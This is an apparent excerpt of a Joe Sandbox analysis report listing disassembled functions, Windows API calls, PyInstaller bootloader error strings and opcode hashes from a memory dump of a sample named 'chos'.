                                                                                                                                                                                                                                              • Instruction ID: 3d73d43cd60d2034db2d3d4c8b61041713004188a47b05be754d19e8466f903c
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 75ce3dd5e90789a751ac91fed3db50e3550f512a2f4dec46f6fb30c565ad9a60
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 27128062A0D153C6FB227A1491582FFF691FB4A750FC48435D6A94A6C4FB7CE5808BF0
                                                                                                                                                                                                                                              Function 00007FF7FD741038 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 475COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 0000000A.00000002.2119757665.00007FF7FD731000.00000020.00000001.01000000.0000002D.sdmp, Offset: 00007FF7FD730000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119733993.00007FF7FD730000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119792103.00007FF7FD75B000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD76E000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD772000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD774000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD779000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_10_2_7ff7fd730000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: _invalid_parameter_noinfo
                                                                                                                                                                                                                                              • String ID: f$f$p$p$f
                                                                                                                                                                                                                                              • API String ID: 3215553584-1325933183
                                                                                                                                                                                                                                              • Opcode ID: efdc55b57c7b5823aa39a5abe82f144bbffe385c3037011f7a836833ec2ff017
                                                                                                                                                                                                                                              • Instruction ID: 1a77991d0504e1057c64ebf9f8005b1fc3d4303c93f8110242d53548905f1d87
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: efdc55b57c7b5823aa39a5abe82f144bbffe385c3037011f7a836833ec2ff017
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 04127323E0C143C6FB22BA15E058679F261FB56754FD84035EAA94A9C4EF7CE4808BF1
                                                                                                                                                                                                                                              Function 00007FF7FD731050 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 119COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 0000000A.00000002.2119757665.00007FF7FD731000.00000020.00000001.01000000.0000002D.sdmp, Offset: 00007FF7FD730000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119733993.00007FF7FD730000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119792103.00007FF7FD75B000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD76E000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD772000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD774000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD779000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_10_2_7ff7fd730000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: CurrentProcess
                                                                                                                                                                                                                                              • String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
                                                                                                                                                                                                                                              • API String ID: 2050909247-3659356012
                                                                                                                                                                                                                                              • Opcode ID: c7183492b4d223ab4fe5a600607e61c8495d33bef924213809dcf9fb4ccde569
                                                                                                                                                                                                                                              • Instruction ID: 81deca132e6a89384421323cc54a89990fe7bcf489958d6de13b7b7c836ae78b
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: c7183492b4d223ab4fe5a600607e61c8495d33bef924213809dcf9fb4ccde569
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 34413822A0C65286EB11FB12E8046B9E391BF49B84FC44432ED6D0B7D6EE7CE50597F0
                                                                                                                                                                                                                                              Function 00007FF7FD731470 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 107COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 0000000A.00000002.2119757665.00007FF7FD731000.00000020.00000001.01000000.0000002D.sdmp, Offset: 00007FF7FD730000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119733993.00007FF7FD730000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119792103.00007FF7FD75B000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD76E000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD772000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD774000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD779000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_10_2_7ff7fd730000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: CurrentProcess
                                                                                                                                                                                                                                              • String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
                                                                                                                                                                                                                                              • API String ID: 2050909247-3659356012
                                                                                                                                                                                                                                              • Opcode ID: a7c237dce644c07b9a59283466943b5db4a6612ad6d451b07fca56e22f09f00f
                                                                                                                                                                                                                                              • Instruction ID: 585b39b4a7627fc7ec6a698c14d520df9601130e09ae0d97dcbdef715de6f098
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: a7c237dce644c07b9a59283466943b5db4a6612ad6d451b07fca56e22f09f00f
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: ED415E22A0C64285EB11EB2294416B9E390BF4D794FC44432ED6D0BBD9FE7CE50197F1
                                                                                                                                                                                                                                              Function 00007FF7FD73EA78 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 310COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 0000000A.00000002.2119757665.00007FF7FD731000.00000020.00000001.01000000.0000002D.sdmp, Offset: 00007FF7FD730000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119733993.00007FF7FD730000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119792103.00007FF7FD75B000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD76E000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD772000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD774000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD779000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_10_2_7ff7fd730000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
                                                                                                                                                                                                                                              • String ID: csm$csm$csm
                                                                                                                                                                                                                                              • API String ID: 849930591-393685449
                                                                                                                                                                                                                                              • Opcode ID: b3973e9ed2b821368333a922871466498bda8290f9160b5e7eff6497ccad0325
                                                                                                                                                                                                                                              • Instruction ID: 405bab1113e46f391c02fb9ba08d51ff5b23fd4d38c7f41e995020fd2b98d4aa
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: b3973e9ed2b821368333a922871466498bda8290f9160b5e7eff6497ccad0325
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 10D1B03290C74186EB20AB65D4403ADB7A0FB49798F900235EE9D5BBD5EF79E080D7E0
                                                                                                                                                                                                                                              Function 00007FF7FD732C50 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 104windowCOMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              • GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF7FD733706,?,00007FF7FD733804), ref: 00007FF7FD732C9E
                                                                                                                                                                                                                                              • FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF7FD733706,?,00007FF7FD733804), ref: 00007FF7FD732D63
                                                                                                                                                                                                                                              • MessageBoxW.USER32 ref: 00007FF7FD732D99
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 0000000A.00000002.2119757665.00007FF7FD731000.00000020.00000001.01000000.0000002D.sdmp, Offset: 00007FF7FD730000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119733993.00007FF7FD730000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119792103.00007FF7FD75B000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD76E000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD772000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD774000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD779000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_10_2_7ff7fd730000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: Message$CurrentFormatProcess
                                                                                                                                                                                                                                              • String ID: %ls: $<FormatMessageW failed.>$Error$[PYI-%d:ERROR]
                                                                                                                                                                                                                                              • API String ID: 3940978338-251083826
                                                                                                                                                                                                                                              • Opcode ID: 5cbcdbf458937bec5e084182eea0cc5ea1ed3b872b1d9e6a561cbd57b4752a27
                                                                                                                                                                                                                                              • Instruction ID: 35bb82533e2c1dfff7862c3112ec57a863d88aad0e4e0eabfe6ea5d1b00e1e52
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 5cbcdbf458937bec5e084182eea0cc5ea1ed3b872b1d9e6a561cbd57b4752a27
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: F831B72270CB4142E720BB25A8042BAA695BF8C798F804136EF5D5B799FE3CD506C7E0
                                                                                                                                                                                                                                              Function 00007FF7FD73DD38 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              • LoadLibraryExW.KERNEL32(?,?,?,00007FF7FD73DFEA,?,?,?,00007FF7FD73DCDC,?,?,?,00007FF7FD73D8D9), ref: 00007FF7FD73DDBD
                                                                                                                                                                                                                                              • GetLastError.KERNEL32(?,?,?,00007FF7FD73DFEA,?,?,?,00007FF7FD73DCDC,?,?,?,00007FF7FD73D8D9), ref: 00007FF7FD73DDCB
                                                                                                                                                                                                                                              • LoadLibraryExW.KERNEL32(?,?,?,00007FF7FD73DFEA,?,?,?,00007FF7FD73DCDC,?,?,?,00007FF7FD73D8D9), ref: 00007FF7FD73DDF5
                                                                                                                                                                                                                                              • FreeLibrary.KERNEL32(?,?,?,00007FF7FD73DFEA,?,?,?,00007FF7FD73DCDC,?,?,?,00007FF7FD73D8D9), ref: 00007FF7FD73DE63
                                                                                                                                                                                                                                              • GetProcAddress.KERNEL32(?,?,?,00007FF7FD73DFEA,?,?,?,00007FF7FD73DCDC,?,?,?,00007FF7FD73D8D9), ref: 00007FF7FD73DE6F
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 0000000A.00000002.2119757665.00007FF7FD731000.00000020.00000001.01000000.0000002D.sdmp, Offset: 00007FF7FD730000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119733993.00007FF7FD730000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119792103.00007FF7FD75B000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD76E000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD772000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD774000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD779000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_10_2_7ff7fd730000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: Library$Load$AddressErrorFreeLastProc
                                                                                                                                                                                                                                              • String ID: api-ms-
                                                                                                                                                                                                                                              • API String ID: 2559590344-2084034818
                                                                                                                                                                                                                                              • Opcode ID: 7dacba43e0eeea41cb86842b35fa5572bc178a215ab50afad80fbb9160df823c
                                                                                                                                                                                                                                              • Instruction ID: eff3923cdb6c4b0662751dc40b002594df551f5b4d6dd6d6a184f9f4b5f3aea2
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 7dacba43e0eeea41cb86842b35fa5572bc178a215ab50afad80fbb9160df823c
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: D8314B21B1E64691EB52AB92A800675A694BB5CBA0FD94539ED2D0B3C0FF7CE44493F0
                                                                                                                                                                                                                                              Function 00007FF7FD736350 Relevance: 10.6, APIs: 1, Strings: 6, Instructions: 82COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 0000000A.00000002.2119757665.00007FF7FD731000.00000020.00000001.01000000.0000002D.sdmp, Offset: 00007FF7FD730000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119733993.00007FF7FD730000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119792103.00007FF7FD75B000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD76E000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD772000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD774000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD779000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_10_2_7ff7fd730000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: CurrentProcess
                                                                                                                                                                                                                                              • String ID: Failed to load Python DLL '%ls'.$LoadLibrary$Path of Python shared library (%s) and its name (%s) exceed buffer size (%d)$Path of ucrtbase.dll (%s) and its name exceed buffer size (%d)$Reported length (%d) of Python shared library name (%s) exceeds buffer size (%d)$ucrtbase.dll
                                                                                                                                                                                                                                              • API String ID: 2050909247-2434346643
                                                                                                                                                                                                                                              • Opcode ID: c6b32316bfe7a0aff6899d53276924ef6fe1744c5bc58fcca4aca07baf8add6e
                                                                                                                                                                                                                                              • Instruction ID: 6e40397a80faad9a1e598ca258a429e9e72f6890a0ab0399900d195fa0a75ab1
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: c6b32316bfe7a0aff6899d53276924ef6fe1744c5bc58fcca4aca07baf8add6e
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: B0415E22A0CA8691EB15EB61E4542EEA311FB48344FC00132EA6D4B6D5FF7CE615D3F1
                                                                                                                                                                                                                                              Function 00007FF7FD732A50 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 64COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              • GetCurrentProcessId.KERNEL32(00000000,?,?,?,00000000,00007FF7FD73351A,?,00000000,00007FF7FD733F23), ref: 00007FF7FD732AA0
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 0000000A.00000002.2119757665.00007FF7FD731000.00000020.00000001.01000000.0000002D.sdmp, Offset: 00007FF7FD730000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119733993.00007FF7FD730000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119792103.00007FF7FD75B000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD76E000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD772000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD774000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD779000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_10_2_7ff7fd730000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: CurrentProcess
                                                                                                                                                                                                                                              • String ID: 0$WARNING$Warning$Warning [ANSI Fallback]$[PYI-%d:%s]
                                                                                                                                                                                                                                              • API String ID: 2050909247-2900015858
                                                                                                                                                                                                                                              • Opcode ID: 2c88a21be5af21f56a68c86fdca39687fee9058fd376c6caa55945c458c4d180
                                                                                                                                                                                                                                              • Instruction ID: 14bc5a6cd879b9803674c9eeb4686172a80c10bf2b308abc5c8668c6af06d2b1
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 2c88a21be5af21f56a68c86fdca39687fee9058fd376c6caa55945c458c4d180
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 4821713261C78192E721EB51B4417EAA394BB88784F800136EE9C47699EF7CD145C7E0
                                                                                                                                                                                                                                              Function 00007FF7FD74B1C0 Relevance: 10.6, APIs: 7, Instructions: 62COMMONLIBRARYCODE
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 0000000A.00000002.2119757665.00007FF7FD731000.00000020.00000001.01000000.0000002D.sdmp, Offset: 00007FF7FD730000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119733993.00007FF7FD730000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119792103.00007FF7FD75B000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD76E000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD772000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD774000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD779000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_10_2_7ff7fd730000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: Value$ErrorLast
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID: 2506987500-0
                                                                                                                                                                                                                                              • Opcode ID: 7a7efe5704aebd884d83a549bac9021180a30b6e3a5084d39c82c78793c2ea5e
                                                                                                                                                                                                                                              • Instruction ID: 6bfedc1bbe639b133588f0ceca2927ffe76c4f47bcb35bec2a89459393a2f88e
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 7a7efe5704aebd884d83a549bac9021180a30b6e3a5084d39c82c78793c2ea5e
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 57213920E0C246C2FB5A7761565923DD1425F8E7A0FD48735D93E4EAD6FE2CA80183F1
                                                                                                                                                                                                                                              Function 00007FF7FD757DDC Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 0000000A.00000002.2119757665.00007FF7FD731000.00000020.00000001.01000000.0000002D.sdmp, Offset: 00007FF7FD730000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119733993.00007FF7FD730000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119792103.00007FF7FD75B000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD76E000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD772000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD774000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD779000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_10_2_7ff7fd730000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
                                                                                                                                                                                                                                              • String ID: CONOUT$
                                                                                                                                                                                                                                              • API String ID: 3230265001-3130406586
                                                                                                                                                                                                                                              • Opcode ID: 5493e4d9a44aaf731d1a805f3958d18bb0ed212be4b6a830fa2bcaabe5bc997c
                                                                                                                                                                                                                                              • Instruction ID: 173ae3f808d5160a0e7243244d194ea904644b90e2e3f4b1c148576fc0b78408
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 5493e4d9a44aaf731d1a805f3958d18bb0ed212be4b6a830fa2bcaabe5bc997c
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: AD11602161CA4186E350AB52A854339A3A0BB8CBA4F804234D96D8B7D4EF3DD81487F1
                                                                                                                                                                                                                                              Function 00007FF7FD738560 Relevance: 9.1, APIs: 6, Instructions: 127COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              • GetCurrentProcess.KERNEL32(?,?,?,00000000,00007FF7FD739216), ref: 00007FF7FD738592
                                                                                                                                                                                                                                              • K32EnumProcessModules.KERNEL32(?,?,00000000,00007FF7FD739216), ref: 00007FF7FD7385E9
                                                                                                                                                                                                                                                • Part of subcall function 00007FF7FD739400: MultiByteToWideChar.KERNEL32(?,?,?,00007FF7FD7345E4,00000000,00007FF7FD731985), ref: 00007FF7FD739439
                                                                                                                                                                                                                                              • K32GetModuleFileNameExW.KERNEL32(?,?,00000000,00007FF7FD739216), ref: 00007FF7FD738678
                                                                                                                                                                                                                                              • K32GetModuleFileNameExW.KERNEL32(?,?,00000000,00007FF7FD739216), ref: 00007FF7FD7386E4
                                                                                                                                                                                                                                              • FreeLibrary.KERNEL32(?,?,00000000,00007FF7FD739216), ref: 00007FF7FD7386F5
                                                                                                                                                                                                                                              • FreeLibrary.KERNEL32(?,?,00000000,00007FF7FD739216), ref: 00007FF7FD73870A
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 0000000A.00000002.2119757665.00007FF7FD731000.00000020.00000001.01000000.0000002D.sdmp, Offset: 00007FF7FD730000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119733993.00007FF7FD730000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119792103.00007FF7FD75B000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD76E000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD772000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD774000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD779000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_10_2_7ff7fd730000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: FileFreeLibraryModuleNameProcess$ByteCharCurrentEnumModulesMultiWide
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID: 3462794448-0
                                                                                                                                                                                                                                              • Opcode ID: b52d66e3f6483ee012b3a88bb9869cc1030523c4b2827b1d8d4a1b21ae680e9c
                                                                                                                                                                                                                                              • Instruction ID: aa37ace332cee11116c47d9c07481ae31c36c9cb126c9be809467fbb96ae743c
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: b52d66e3f6483ee012b3a88bb9869cc1030523c4b2827b1d8d4a1b21ae680e9c
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 3B41A362B1C68281EB20AB11A4406AAE395FB88BC4F840031DE6D5B7C9EE7DD401D7F0
                                                                                                                                                                                                                                              Function 00007FF7FD74B338 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              • GetLastError.KERNEL32(?,?,?,00007FF7FD744F81,?,?,?,?,00007FF7FD74A4FA,?,?,?,?,00007FF7FD7471FF), ref: 00007FF7FD74B347
                                                                                                                                                                                                                                              • FlsSetValue.KERNEL32(?,?,?,00007FF7FD744F81,?,?,?,?,00007FF7FD74A4FA,?,?,?,?,00007FF7FD7471FF), ref: 00007FF7FD74B37D
                                                                                                                                                                                                                                              • FlsSetValue.KERNEL32(?,?,?,00007FF7FD744F81,?,?,?,?,00007FF7FD74A4FA,?,?,?,?,00007FF7FD7471FF), ref: 00007FF7FD74B3AA
